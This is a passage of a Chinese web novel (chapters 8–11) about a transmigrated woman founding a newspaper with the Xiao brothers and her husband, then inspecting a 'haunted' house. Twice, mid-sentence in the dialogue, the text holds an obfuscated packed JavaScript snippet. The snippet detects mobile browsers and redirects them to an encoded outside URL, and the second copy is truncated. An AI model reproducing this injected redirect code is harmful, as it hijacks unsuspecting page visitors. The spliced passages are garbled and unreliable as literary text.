“夫人竟有如此雄心壮志。”萧谨言回味着孟允抒的演讲内容，明显被她的激情所感染。 孟允抒趁热打铁问他：“公子意下如何？” “夫人垂青谨言，我深表感激。” 孟允抒欣喜万分：“那——” 萧谨言小声说道：“但我不愿经商。” “为什么？” “世人都说‘士农工商’，若非无路可走，众人都不想从商。” 孟允抒把这茬给忘了。古代商人地位低，在这四个阶层中，商人是最容易被人轻视的。 她问萧谨言：“若是公子一直无法考取进士，难道你就要将一辈子的光阴都浪费在科考之中？” 这是一个令人绝望的假设，萧谨言也露出痛苦不堪的表情，显然这七年的科考已经让他饱受煎熬。 然而他还是像自我洗脑一般地絮叨着：“我别无选择。我是萧家二公子，我必须得考取功名，这样……” 孟允抒发现，萧谨言还是个死脑筋。 她好说歹说地劝了半天，终于无法再继续忍受他的冥顽不灵，有些生气地说了一句：“那你便考，考到两鬓斑白，到头来让你的诗文烂在屋里，你便满意了！” 这句话给了萧谨言一个沉重的打击，彻底击溃了他的心理防线。 他先是一愣，而后眼中竟泛起泪花。 “我就知道，我果真不招人喜欢。我爹嫌弃我，我娘骂我不争气，兄弟又都出人头地，只有我……” 孟允抒头脑发懵，她没想到萧谨言的心理脆弱至此，她一句话就惹得他这样难过。 这事与她脱不了干系，她只得连声道歉：“方才是我言重了，实在抱歉，公子不必自责。” 但萧谨言看起来更伤心了，眼眶泛红，淌着两行清泪说道：“不，夫人只是直言不讳而已，我有自知之明，且早已习惯他人这样评价。” 孟允抒极力不让自己的眉头皱起来，免得他又要怀疑她心生厌弃。 好麻烦的性格。 在孟允抒疲于应对萧谨言的时候，一个声音由远及近。 “我倒是觉得孟夫人的想法甚好，计划也周密可行，二哥可以一试。” 8. 合伙人 孟允抒回头一看，萧睿言从假山后方现出身形，正朝他们信步走来。 “睿言见过孟夫人。”他向孟允抒施礼，笑意盈盈道，“父亲差我来寻二哥，我走到此处时听得孟夫人慷慨陈词，正至精彩之处，我不愿打扰，便在一旁听了下去，还望孟夫人恕罪。” “能得到三公子肯定，允抒倍感荣幸。” 见到萧睿言，孟允抒想起她的采访稿中还有一处缺漏。刚才与那群夫人小姐聊天时她特意打听过萧睿言的感情状况，但能从当事人口中得到答案自然最好。 “方才席间人多，有一事我不便问公子。”她说，“我听众人说三公子与盛姑娘私交甚密，此话是真是假？” 孟允抒在提问中给萧睿言挖了个坑。她并未提及盛催雪的姓名，若萧睿言矢口否认，那反倒坐实了传言。 “盛姑娘？你说的可是那位闺阁才女，盛催雪？” 她的陷阱被萧谨言一脚踩了进来。 孟允抒很想把他痛打一顿，却见他泪痕未干，于是忍了又忍，勉强挤出一个微笑：“二公子认得她？” 萧睿言替他答道：“盛姑娘名声在外，但京中鲜少有人能一睹芳容。我听闻她家教严格，从不接见外宾。” 说罢，他看了看萧谨言，忍俊不禁道：“她有不少佳作流传于世，二哥对其赞不绝口。盛姑娘每有新作，他定要在第一时间寻遍京中书坊买来收集。若是有人诋毁盛姑娘，他便会同那人争得面红耳赤。” 孟允抒心下了然，原来萧谨言是盛催雪激推，怪不得他刚才的反应那么强烈。 “既然父亲寻我，我便先走了。”萧谨言被萧睿言揭了短，愤愤不平地逃离现场。 孟允抒追上去，百折不挠地拉拢他入伙：“二公子，今日我说的话皆发自肺腑，还望你能认真考虑。” “孟夫人请留步。”萧睿言叫住孟允抒，“关于办报一事，我有几处不明，请夫人为我解惑。” 孟允抒暂时放过萧谨言，返回亭中答复了些细节问题，萧睿言点头道：“如此说来，夫人当下最短缺的是资金与人力。” “是。” 孟允抒虽有些嫁妆，但一个人的抗风险能力不强，况且她目前无权无势，招揽贤才也绝非易事。 “若你决心办报，我愿为你分忧。”萧睿言笑道，“我刚得了御赐，钱财上尚有余裕。大哥已经自立门户，也可助夫人一臂之力。至于二哥那里，我去帮你游说。” 天下没有免费的午餐，萧睿言与她相识不过半日，孟允抒不相信他会无缘无故地帮助自己。 她开门见山道：“明人不说暗话，公子需要我帮你做些什么？” “夫人多虑了，我并非有求于你。我做此事的原因有三。”萧睿言笑道，“一来自然是为了入股赚钱；二来是想让二哥早日安顿下来，让姨娘少发几次火，别再吵得我耳根子疼。” “三来是因为我觉得此事着实有趣。下月我要去户部赴任，从此之后就得和那群老油条们打交道，想来定是十分无聊。” 他向湖中丢了枚石子，虽是小小一颗，却依然激起一朵水花，令湖面泛起层层涟漪，一直荡至岸边。 “相比之下，内探是个不错的差事，还能多领一份薪资。若朝中有什么新奇的事，我会及时告知于你。” 孟允抒疑惑：“户部官员政务繁忙，你怎会有时间做这些事？” 萧睿言自信一笑：“忙里偷闲。” 翻译一下就是“上班摸鱼”。 相较民间新闻而言，打探朝中消息的难度更大，若能在宫中安插线人，那自然再好不过。 因此，尽管孟允抒对萧睿言的话半信半疑，却依然答应下来。 萧睿言达成自己的目标，起身整理衣衫：“那便说定了，我们先去寻找附近有无合适的房屋，再打探京中有无可用的贤才。待事情有了眉目，我再与二哥登门拜访贵府，从长计议。” 孟允抒蓦地想起，若是要接见来客必然会惊动许昭，但他目前还不知道她要创建报社的事。 纸包不住火，这样下去不是个办法，她得找个契机和许昭聊聊这件事。但在此之前，她得先瞒着许昭，要是萧睿言提前将消息透露给许昭，她就会处于被动的境况。 “等等。”孟允抒拦住萧睿言，对他叮嘱道，“此事我尚未告知许郎，还请公子先替我保密。” 萧睿言闻声顿住脚步，回头看了她一眼，微微一笑道：“好。” “既然夫人提到许大人，还容我再多说几句。”他继续用那副闲聊时的轻松口吻说道，“原本这是夫人的私事，不应由我多嘴。但通过今日在席上与你问答，以及方才夫人所言，可看出你机敏果敢，睿言深感敬佩，也与你甚是投机，所以想斗胆问夫人一句话。” 现在萧睿言是孟允抒的天使投资人，她不敢怠慢了他，笑着应道：“公子愿意为我提供诸多帮助，我无以为报，区区一个问题，你但说无妨。” “夫人果真为人爽利，那我便直说了。”萧睿言眼含笑意，但问题一针见血，“敢问夫人是否与许大人感情不和？” 孟允抒心底一惊，但面上依然泰然自若。 “何以见得？” “夫人与许大人举止亲密，却有刻意之嫌，应是为了做戏给旁人看。”萧睿言开门见山道，“且过去几年夫人几乎从未随许大人一同出游，前些日子姚府又东窗事发，你们二人之间的关系一目了然。而后虽有小报否认你们离心的传闻，但也像是为掩人耳目所作。” 孟允抒突然觉得，相比之下，她还是更喜欢和萧谨言相处。 至少他没什么脑子。 她不动声色地说道：“允抒愚钝，请公子把话讲得更明白些。” “夫人不必紧张，我并非想要揣测你们二人的关系，或是在此挑拨离间。这些事做起来相当麻烦，我对此毫无兴致。”萧睿言轻笑一声，打消孟允抒的顾虑，“我有意与夫人结交，更何况待报社建立后，我们还要长期合作，必须信任彼此。” 说罢，萧睿言正色道：“许大人是正人君子，却屡遭朝臣倾轧排挤。既然我能看出夫人与他感情不睦，那旁人定然也能发现这其中的蹊跷。我担心不轨之人会利用此事做文章，蒙蔽夫人加害于他。” 孟允抒凭借直觉和经验判断，萧睿言并没有说谎。先不论他的真实意图是什么，有一点他说得没错。 在外人面前她得表明她和许昭夫妻同心，不给他人可乘之机。 “多谢公子提点。既然你以诚待我，允抒也当坦诚相对。”孟允抒直言，“过去我与许郎有诸多误会，但尽是些不足挂齿的私人恩怨。我舅父家人待我不好，又为非作歹，落此下场也是罪有应得，我并不仇恨许郎。” 她又找了个合适的借口解释两人关系生疏的原因，装出无奈的表情感叹道：“只是如你们所见，许郎性情冷淡，不喜与人来往，我虽倾心于他，却因他寡言少语，我对他不甚了解。” 从原主的记忆中孟允抒也发现，有不少人曾说过许昭性格怪异孤僻，不近人情。先前萧老爷曾蒙冤入狱，是许昭仗义执言替他奔走平反。为表谢意，他出狱后便备下厚礼送给许昭，但许昭却说他只是秉公断案，推拒不得后竟然斥责萧老爷公私不分，最后两人闹得不欢而散。 这件事简直就是对“铁面无私”的具象化表述。 “许大人出身寒门，礼数不周，不懂得人情世故，被众多官员轻视、排挤，不过我倒是希望朝堂之上能多些像许大人一般的人。”萧睿言似乎对许昭颇为赞赏，“正是因为他从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310338|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底层走入庙堂，才能懂得民间疾苦。” 孟允抒拿不准萧睿言的为官之道，试探着说：“现今公子也已步入朝政，宫廷之中自然是多了一名好官。” “并非如此。”萧睿言直言不讳道，“我并无政治才能，也没有建功立业的决心，只想在漩涡中保全自身、帮助家人罢了。若二哥能入朝为官，我就能放手经商。只可惜造化弄人。” 萧睿言说这话时，孟允抒并没有从中听出感伤的情绪，倒像是一句对命运的调侃。 “今日就先谈到这里。我还有事在身，先行告退了。” 孟允抒也觉得她在此处逗留过久，起身欲走时才回忆起她来这的目的：“三公子，请问府中有哪些清静的去处？” 她向萧睿言说明她与许昭走散的情况，萧睿言思索片刻，给出了一个推测。 按照他所指的路线，孟允抒拐过一道弯，远远地望见许昭在墙边的长凳上坐着。 “许公子，我找——”她走近许昭，话说到一半时被他手中的东西吸引，惊喜地问道，“你竟然还有这般手艺？” “姑娘回来了。”许昭抬眼看看她，将目光挪到手里的花环上，稍显尴尬地咳了一声，“我一人在此闲来无事，随便找点事做。” 孟允抒好奇地打量着花环，它以墨绿的枝叶为底，挽成精巧美观的绳结，上面有各色小花作为点缀，热闹却不显得繁杂。 她从来没想过许昭能和“心灵手巧”一词搭上关系。 “这会宾客应该已经陆续散去了，我们也回府吧。” 说罢，许昭起身，顺手将花环向草丛中一丢。 “等等。”孟允抒正认真观察着，许昭的动作太过突兀，她急忙跑过去将花环捡回来，“这么漂亮的东西，扔了岂不可惜？” 许昭对她的反应很是意外：“姑娘见多了金银玉器，竟然还会喜欢此等低微之物。” “金银有价，草木无价。”孟允抒同许昭一起向前庭走去，将花环翻来覆去地欣赏，“更何况二者本就不是同种物件，各有优劣，怎能放在一起比较？” 许昭见她对此爱不释手，有些不解地问：“最多三日，它便会枯萎凋零。姑娘何必费神将它带走？” 孟允抒不以为意：“那也是三日之后的事，当下只需珍惜春光。” 许昭沉默片刻，见她兴致高昂，转而开口问道：“孟姑娘今日十分尽兴？” “那是自然。” 孟允抒觉得她在此次宴会中收获颇丰，不但打探到不少需要的情报，还结识了实力雄厚的合伙人，招聘到了一位编辑和一名朝廷内线记者，许多棘手的问题迎刃而解，创建报社指日可待。 她沉浸在满载而归的喜悦中，完全没察觉到许昭欲言又止的神情。 “我本不该在此时扫了姑娘的兴致，可有一言我不得不说。”最终他开了口，提醒孟允抒道，“现今你常出门走动，喜欢与人交往，这是好事。但请姑娘不要与任何人走得过近，免生事端。” 孟允抒明白许昭是想避免官场中的那些裙带关系，向他保证道：“请公子放心，我自有分寸，定然不会将政事与私交混为一谈。” 许昭略一点头，淡然说道：“政局复杂险恶，姑娘能独善其身便好。” 这句话让孟允抒想起他在宴会中的表现，又蓦地联想到萧睿言扔进湖中的那枚石子。俗话说有人的地方就有江湖，许昭身处朝廷，想要明哲保身便只能切断与他人的联系，处于绝对的中立地位。 可从许昭的性格与作风来看，又显然与这一目标相冲突。 她思忖半天也没能找到合理的解释，索性将注意力转移到另一个问题上来。 萧睿言那边已经着手准备办报的前期工作，她得尽快向许昭说明此事。 9. 坦白 愉快的一日假期结束后，孟允抒又回归了她的打工人身份。 工作日的前三天是最难熬的，支撑孟允抒干活的唯二动力是两条好消息。 第一，她新写的报道被快马加鞭印成了小报，第一批报纸刚刚印刷出来后不久就被抢售一空，这增强了孟允抒对报业发展的信心。 第二，随着小报的发行，她顺利收到了系统的任务奖励。 精神胜利法无法消除双腿传来的胀痛，孟允抒抹了一把额上的汗珠，在心中愤愤不平地想，等她当了老板，她一定自食其力，绝对不当这种剥削员工的资本家。 “快，快把小报打乱，不该放在外面的书页也赶紧收起来！”一个伙计从前宅慌慌张张地闯进来，让他们把桌上印好的纸张统统打乱，又急忙招呼几人去院中把正在晾晒的纸张从绳上取下，“动作麻利点，他们马上就到了！” 在一片混乱之中，孟允抒虽然不明白发生了什么，但见工人与伙计都神情紧张，于是跟着他们一起打散小报，见缝插针地问：“发生什么事了，谁要到了？” 她身旁那个印工一把将纸堆揉乱，语速飞快地回答：“上面那些当官的老爷要来了！” 孟允抒与秋盈对视一眼，不解地问：“那为什么要把小报打乱？” “瞧你这话说的。”印工神情焦急道，“小报上什么内容都有，指不定就戳中了那些官老爷的痛处，更有甚者还妄议朝政，搞不好这就是掉脑袋的事！打乱小报最起码能减少些风险，若是文章不完整，我们还有为自己辩解的余地。” “还有那些书。”秋盈旁边的刻工也说道，“其中有两种可是朝廷明文规定的禁书，这让官老爷们看见还得了？” 孟允抒还想再多问几句，门外几个穿着公服的身影却已经跨进门槛走了进来：“官府突击检查，请诸位暂时放下手中活计，不要乱动，在院中排成两队站好。” 室内的空气顿时冷了下来，工人伙计们噤若寒蝉，孟允抒和他们一起，按照这几名官员的命令在院中站好。 孟允抒深知古代文字狱的恐怖，为钳制民众的思想，每个封建王朝对文化的审查都十分严格。她不敢轻举妄动，在队伍中将头深深埋下，竭力降低自己的存在感。 郭掌柜也已从前面的书铺中赶来，对为首的官员说：“大人，小店一直恪守行规，诚信经营，从不坐逾矩之事，请大人明察。” “掌柜莫怕，我们只是秉公办事。若你不曾做那些违法的买卖，我们定然不会冤枉了你。” 这声音太过耳熟，孟允抒惊愕地抬起头。 下一秒，她与许昭四目相对。 许昭看起来显然比她更加意外，怔怔地盯了她半天，像是在辨认她的面容。 孟允抒连忙重新将头低下，暗自祈祷许昭没能认出她。 平日她来书坊前都会乔装打扮，且从第一日起就叮嘱过府中下人，不许将此事透露给许昭，他也从来没见过她换装后的模样。 更何况，她向来都是在离文昌书坊还有一里地的时候下车，府中除了秋盈，根本无人知晓她整日在外做什么。 孟允抒这样想着，心里有了几分底气。 几名官员在坊中搜查一番后，将数页纸张带给许昭：“许大人，这些纸上的内容涉及朝政机密。请您过目。” 孟允抒低着头，看不见许昭的神情与动作，只听见一阵纸张被翻动的摩擦声。 声音停下后，许昭沉声问道：“郭掌柜，请问你对此作何解释？” “这是哪个不怕死的写的！”郭掌柜看了看纸上的内容，大声怒斥道，“竟敢冒充侍郎大人的身份写这种假奏章！” 说罢，他又严肃地对许昭说：“大人，小报生意红火，总有贪财近利者杜撰新闻。平日里我们书坊事务繁杂，刊印纸张众多，难免会有几则胡言乱语的消息混进其中，令人防不胜防。今后我一定对这些内容严加审核，坚决不让其流入坊间。” 孟允抒在心里默诵着郭掌柜的免责声明，说不定以后她也用得上。 许昭没有回应，郭掌柜又郑重其事地补充道：“事关重大，还请大人明察。若大人需要追究消息来源，我愿竭尽所能配合大人调查。” 许昭终于开了口，从他的语气中依然听不出任何个人情绪：“多谢掌柜。之后若是有需要，官府会派人前来取证。” “明白，我在此随时恭候大人差遣。” “方才我在队伍之中看到一人甚是面熟。”许昭忽地换了话题，“第三列，第二排那位小兄弟，请你抬起头来。” 孟允抒心头一颤。 坏了，冲她来的。 她按照许昭的命令抬起头，对他露出一个谄媚的笑容，用她伪装出的男声说道：“大人找我？” 许昭听见她的声音先是一愣，而后犹疑地将她从头到脚打量了几遍。 郭掌柜见状，赶忙上前问道：“这是我们坊中新来的帮工，大人可需要将他带走问话？” 孟允抒讪讪地笑着，心跳如鼓点般敲得越来越快。 许昭收回目光，转头对郭掌柜说道：“不必，我认错人了。打扰掌柜。” 而后，伴随着一阵凌乱的脚步声，许昭带着一队官员离开了书坊。 掌柜如释重负地松了一口气，对伙计们吆喝道：“都散了，快去干活。” 孟允抒也仿佛卸下了千斤重担，至少许昭没有在大庭广众之下戳穿她的身份。 但是从他的反应来看，她今天是逃不过一场盘问了。 果然，在她下工回府后，门房直接把她请进了正厅。 而孟允抒身上还穿着那件粗布短褐。 她将心一横迈进门槛，若无其事地向许昭行了礼。 “许公子有事找我？” 许昭将手中的书放到一旁，目光稳稳地落在她身上。 “姑娘请坐。” 孟允抒落座后，许昭却迟迟没有开口。她心里七上八下，一面谨慎观察许昭的神情，一面思索着对策。 她与许昭并无夫妻之实，平日里他们鲜少过问或插手彼此私事，可今天的事显然不同以往。 其一，她欺瞒了许昭。这些天她外出的理由都是闲逛散心，从没和他说过半句实话。过去两年里二人因猜忌生出嫌隙，现在她所做之事将这道裂痕撕扯得更大更深。 其二，文昌书坊所售的文化产品有违令之嫌，而她恰好在书肆帮工。 她这已经不是在雷区蹦迪了，简直就是把两颗地雷结结实实地踩在脚下，且被许昭逮了个正着。 孟允抒自知理亏，决定先说几句好话探探许昭的口风：“公子，今日之事我已知错，我不该瞒着公子，自作主张前去书坊帮工。但我可以保证，我在坊中从未做过逾矩或违令之事，这点请你放心。” “不，姑娘想去何处、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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话题已经行进至此，时机绝佳，孟允抒决定顺势向许昭坦白她办报的计划。 “公子误会了。我去书坊不为赚钱，而是偷师。”她找了个合理的借口说，“我在府中并不劳作，却要从账上领取月银，受之有愧。且公子一人持家太过辛苦，我想为你分忧。” 她先是用一通真挚诚恳的好话作为铺垫，以体现自己对许昭的感恩和理解，而后逐渐切入正题，表明她办报的意愿及其重要性，引出她的详细计划。 孟允抒同他讲述这些时颇为自信，可心里并无十足的把握。许昭做事向来保守稳妥，她担心许昭会断然否定她的计划。 所幸在听她叙述的过程中，许昭的面色由平静变为讶然，最后微微一笑。 “姑娘的想法别具一格，且有自强自立的傲气，许某佩服。前些日子你通过小报为我辩白，我见识过姑娘的文采，若做此事定有所成。”许昭的话锋一转，“只是民间小报乱象丛生，违令者诸多，为保险起见，请姑娘允许我出资入股，监察民情。” 孟允抒思忖片刻，认为许昭参与此事利大于弊。 他对胤朝的律法烂熟于心，如果他能从旁监督并帮助审查，她反而能绕开禁令，在官方与民众之间寻得一个平衡点，既不至于因违令祸及自身，又不会让百姓陷入闭目塞听的困境。 而且，多一笔启动资金对她来说也是莫大的好事。 于是她应允许昭的话，并向他说明了在萧府所发生的事情。 “待萧公子那边传来消息，我们可以再与其详谈。” 10. 初创团队 萧睿言所言非虚，孟允抒从萧府回来后刚过十日，他便同萧谨言一起登门拜访，与孟允抒详谈创建报社的相关事宜。 不过萧谨言看起来还是一副不情不愿的样子，像是孟允抒强迫他抛弃贞操下海一般。 “二位公子请进。” 孟允抒喜上眉梢，将两人迎进正厅，又亲自给他们沏了茶，以表自己的惜才之意。 “许大人也在。”萧睿言满面笑容，向早已在桌边等候的许昭行了一礼，又将目光投向孟允抒，略一挑眉。 孟允抒会意地解释道：“我先前已将办报之事告知许郎，他将定期对小报内容进行审阅，防止妖言惑众。” 言下之意就是，许昭现在已经知道内情，萧睿言可以不用再守口如瓶。 “原来如此。”萧睿言拱手说道，“还是许大人思虑周全。” 在几人互相寒暄的时候，萧谨言全程站在旁边赔笑，嘴里发出一些不明所以的语气词。 孟允抒先前已经见识过，这是萧谨言特有的打招呼方式。 “夫人，秋盈姐姐到了。” 一个小丫头带着秋盈进来，她见桌旁坐着两位陌生公子，便先行了个常礼，而后用疑惑的眼神望了望孟允抒。 孟允抒起身将秋盈拉过来：“给二位公子介绍一下，这位是自幼服侍我的姐姐，跟在我身边多年，名叫秋盈。” 她又向秋盈说明对面两人的身份：“这便是我和你说的那两位公子，今后我们就要在一起共事了。” 前些日子她听孟允抒讲过此事，心下了然道：“多谢二位公子鼎力相助。” 孟允抒招呼众人落座，准备进行第一次会议：“客套话都说完了，各位都别站着，坐下说话。” 她见秋盈还站在一边，便伸手将她拉过来：“你愣着干什么，快坐。” 秋盈神情一滞，忙不迭地退后：“不必了，我在旁边站着便好。” 目前桌上坐着四人，分别是孟允抒、许昭、萧谨言、萧睿言。在秋盈眼中，桌上坐着的是夫人、老爷、两位大户人家的公子。 而她身份低微，和他们坐一桌显然是坏了礼数。 孟允抒不用猜都知道秋盈在想什么，索性将她一把按在椅子上笑道：“你若是不坐，我说话还得仰着脖子，怪麻烦的。” 秋盈惶恐不安地坐着，又担心因为她耽误了他人的时间，却也没再起身。 萧睿言率先开了口，向许府三人概述他这一周打探的成果：“目前我们寻到了四处宅子，离许府和萧府都不远，而且其所在街道商铺数量众多，平日里有不少前来采买闲逛的行人。” 他依次介绍了这几处房宅的售价、地理位置和房屋布局等基本情况，在面前的白纸上绘制出简单的平面示意图。 “最后一处宅子位于云锦天街西侧的杏林巷，临近造纸坊，是三进四合院结构。” 孟允抒听着萧睿言的介绍，又端详了一番他画出的房屋布局图，对其很是满意。 靠近造纸坊意味着取纸方便，可以节约不少运输成本；房屋的布局也非常符合她想象中报社的部门设置。 临街的前宅可作为营业门面，在其中售卖小报，附带部分销售量极高的书籍；中庭可用作采编部门的办公地点，在此处进行讨论选题、撰写报道和编辑稿件等工作；后院则可以设置为刻印工坊，承载雕刻字模、印刷报纸的功能。 她问萧睿言：“这处宅子售价多少？” “三千两银子。” 话音落地，除萧谨言外，桌上所有人都一齐睁大了眼睛。 孟允抒不可置信地确认：“三千两？” 这个价格和天上掉馅饼没什么区别。 京城寸土寸金，房价高昂，且云锦天街地处繁华，周围的房屋也随之摇身一变成了旺铺，先不论那些豪宅，连犄角旮旯的小宅子都动辄上万两。 “别高兴得太早了。”一直保持沉默的萧谨言突然开口，“那是个凶宅，闹鬼。” 接着，他讲起了这个说法的来历。 “这宅子原本是陈府，那是户小富人家，主人有一妻一妾，整日斗得鸡飞狗跳。后来妾室江氏渐渐失宠，忧思过度重病身亡，也有传言说此事与正室的王氏有关，江氏是含冤而死，怨气深重。” “她去世后，宅子里便频频生出异象，什么烛火自熄、女子夜啼都是常事，还有人说曾在深夜见到那妾室于庭中行走。后来，陈老爷暴毙身亡，府中下人疯的疯，死的死，没一个好下场，最后连那王夫人也失了神智，被接回娘家。陈老爷膝下无子，陈府被他弟弟接了手，他觉得晦气，想早点把这个烫手山芋扔出去，所以才低价出售。” 这是一段相当经典且俗套的坊间怪谈，不知可信度能有几成。 而且，作为一个坚定的唯物主义战士，孟允抒完全不在乎什么鬼神之说。即使真有鬼，那最可怕的一定是穷鬼。 孟允抒又综合比较了一下几处宅子的各方面，最终还是被那处凶宅的性价比折服，心中的一杆秤已经向陈府倾斜。 桌上还坐着其余几位创业伙伴，她不好直接做决定，便先征询其余四人的意见：“你们觉得呢？” “反正肯定首先排除那个凶宅。”萧谨言不满地瞥了眼萧睿言，“要我说就不该把它放进备选案例里面，劳心费神。” 萧睿言则像没听见他的话一般，不紧不慢地说道：“我觉得这几处宅子都甚是不错，若我有所偏好，就不会将它们全部呈给各位了。” 许昭的态度中立：“我只是从旁监督小报内容，其余事务我不插手，请诸位自行定夺。” 秋盈的回答在孟允抒的预料之中：“我听夫人的。” 当前场面对孟允抒十分有利，她当即拍板：“那先暂定将陈府作为最优选择，待我们实地考察后再作最终决定。” “啊？”萧谨言显然没预料到这个结果，他急切地提醒几人，“你们没听见吗，那可是凶宅，凶宅！我反对！” “好吧。”为了让萧谨言心悦诚服，孟允抒说道，“那请各位共同表决，少数服从多数。” “同意将陈府作为最佳选择的人请举手。” 孟允抒和秋盈第一时间举起了手，许昭迟疑半秒，飞快地扫了眼两名萧公子，也跟着抬起手臂。 此时结果已经明了，萧谨言见状更是焦急，直接从椅子上站了起来：“不是，你们都不怕那冤魂前来索命吗？” 孟允抒非常意外，萧睿言居然不赞同她的想法，而许昭居然会表明态度支持她。 “不同意方才提议的人请举手。” 萧谨言噌地一下将手举得老高。 但最引人注目的还是萧睿言。他还是没举手。 还不等孟允抒发问，萧谨言先 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孟允抒也赶忙回归正题，跟上来问道：“三公子，我曾拜托你打听相关人员的消息，请问情况如何？” 报社最主要的三个部门便是采编、印刷和发行，相应地需要具备不同专业能力与技术的人员。 “平日我素爱交友，其中不少人才思敏捷，却怀才不遇。”萧睿言用余光扫了眼萧谨言，“他们听闻我考中状元，相聚同游，我便趁此机会传达了夫人的想法，有几人曾表示愿意加入报社，尝试担任探官或编辑。至于其他人等我尚无眉目，但二哥说他那边打探到了消息。” 萧谨言终于压过萧睿言一头，万分得意地接过话说：“前些天我去买盛姑娘最新发表的词作，跑遍了城内的书肆，他们都告知我来迟了，没有库存。后来我找到京郊的一家书坊，里面还有姑娘的作品。” 他喜不自胜，连语调都变得高昂了几分。 “但我见那书坊气氛萧索，房屋空旷，只余寥寥几本典籍，觉得奇怪，便向掌柜打听。他说，他的店铺经营不善，便索性将店铺转让出去，回家务农。那店里的伙计和工人垂头丧气，说这下没了着落，还得另寻出路。” 萧谨言说到这里便不再开口，冲对面几人笑笑。 后面的事不言自明。这真是踏破铁鞋无觅处，得来全不费工夫。 报社选址和人员招募的事有了初步进展，报社的轮廓也日渐清晰。随后他们要做的事便是实地考察那几处宅邸，等定下结果后添置需要的器具，以及甄别和筛选应聘人员。 随后，孟允抒就能迈出崭新的第一步了。 许昭显然也意识到这一点，他将话题推进至下一个问题：“此前坊间并无专营小报的店铺。既然要兴办报社，总得有个名号。” 他转头问孟允抒：“你有什么打算？” 这话提醒了孟允抒，之后她还得找工匠为报社做个匾额。 她创建报社的最初目标是办报，定下报纸名称后，报社名字也就随之明了。孟允抒要办的是一份迎合市井热点的民间小报，自然想到了那份妇孺皆知的《人民日报》。 换成胤朝的叫法，那便是《黎民日报》。 孟允抒心中有了答案，对许昭笑道：“就叫‘黎民报社’吧。” 11. 凶宅 既然创建报社之事已经提上日程，孟允抒随便寻了个由头，向郭掌柜提出要走。在分别的那日，郭掌柜对她和秋盈反倒热情了不少，还再三叮嘱她，若是有了新闻，还可出售给他，找他印制小报。 孟允抒估计，这是因为她的身份从员工变成了顾客，顾客的潜在含义是金主。 在做生意这方面，郭掌柜很是在行。 马车的颠簸将萧谨言的声音摇得磕磕绊绊，却没挡住他的发问：“我看方才那处宅子就挺好，你们为什么非要去那陈府？” “当然是为了省钱。”孟允抒正在脑中模拟演练待会讨价还价的流程，“后续还要置办各种器具，那也是一大笔开销，能省则省。” “钱哪有命重要。”萧谨言苦口婆心地劝着，他觉得自己简直遇见了一群亡命之徒。 在孟允抒不堪其扰时，马车停了下来，她趁此机会赶紧拉着秋盈下车，远离萧谨言。 许昭要上值，萧睿言也要准备赴任之事，只有孟允抒、秋盈和萧谨言前去看宅。前来接引他们的仆人早已在路边恭候多时，将他们迎进陈府，依次带他们视察各个房间的情况。 从临街的房屋出来，走进前院，随着他们深入陈府，周遭的气温似乎越来越冷。 萧谨言搓搓胳膊，悄声问孟允抒：“你有没有觉得这里有股瘆人的寒意？” “你别总是疑神疑鬼。”孟允抒望望四周空荡荡的屋子，打量宅邸布局，“现在府中就我们几个人，且家具器件都被搬空了，自然显得冷清。” 接引人闻声连忙附和道：“夫人说得是，随后待你们把东西搬进来，人再一多，这屋子马上就热闹起来了。走，我们去前面。” 孟允抒随他行至中庭，一棵粗壮高大的槐树兀然闯入她的视线，树冠将庭院上方的空间占据得满满当当，她的甚至有枝叶超出了她的视野范围。 饶是处变不惊的秋盈都发出感叹：“好大的槐树。” 孟允抒打量了一番槐树的树干，估摸着四人合抱有余。 她又将目光上移。今年春季是个暖春，这槐树已经长得枝繁叶茂，有遮天蔽日之势，树枝几乎一直延伸到院墙边。 “怪不得这屋子闹鬼。”萧谨言从震惊中回过神，找到了凶宅的风水依据，“这么大一棵槐树，简直是阴气冲天。” “一种事物是好是坏，还不都是全凭人的一张嘴。”孟允抒觉得这就是典型的心理作用，由果推因很容易受主观因素影响，“那还有句俗话说，‘门前种槐，升官发财’，这不是自相矛盾？” 孟允抒一边听着接引人介绍各个房间的用途，一边要分神和萧谨言辩论，有些应付不过来。 秋盈很默契地替她接过向接引人提问的职责，仔细记下他所说的话。她左右张望一番问道：“东边的那处厢房原本是做什么用的？” 这句话让孟允抒集中注意力，随之看向东厢房。她发现房屋的檐角、圆柱上都附有精巧繁复的装饰，将房间装点得雅致华丽，只是房门紧闭，整间房屋安静地居于墙边，如遗世独立的佳人。 按照萧谨言所讲述的那个陈府怪谈，这应是那名江氏的卧房。 她心生好奇，拜托接引人道：“麻烦你带我们进去看看。” 虽然只是极其短暂的一瞬，孟允抒看到他脸色微变，而后又恢复那副热情的笑颜：“没问题，夫人请随我来。” 房门被推开的同时，上面的灰尘扑簌簌地落下，地面上也扬起阵阵尘埃。孟允抒用手帕掩住口鼻进入，眼前的景象显然是在告诉她，这房间已经很久不曾被打扫过。 她环顾四周，发现这里的大件物品已经不知所踪，应该是已经被其他人搬走或卖出了，只剩下一个小柜子靠在房间一隅。 孟允抒向接引人确认道：“此处可是江姨娘生前所住的房屋？” “是。” 听到肯定回复，萧谨言瞬间面色发白。 接引人见状欲盖弥彰道：“几位不必担心，外面那些流言蜚语都是唬人的。江姨娘并非枉死，只是不小心染上风寒一病不起，因体质娇弱久病未愈，拖得久了导致病情越来越重，最后不治身亡。” 她指着留下的那几件家具问：“为何你们不将这些搬走？” “这些东西都值不了几个钱，为它们再雇脚夫实在不值当。”接引人飞快地搪塞几句，转而催促道，“各位随我去下一间吧。” 他这么急着走，反倒让孟允抒起了疑心。 “且慢。” 孟允抒阻止他的脚步，走到那个柜子前打开柜门。 “啊！” 萧谨言惊呼一声，连忙后退。 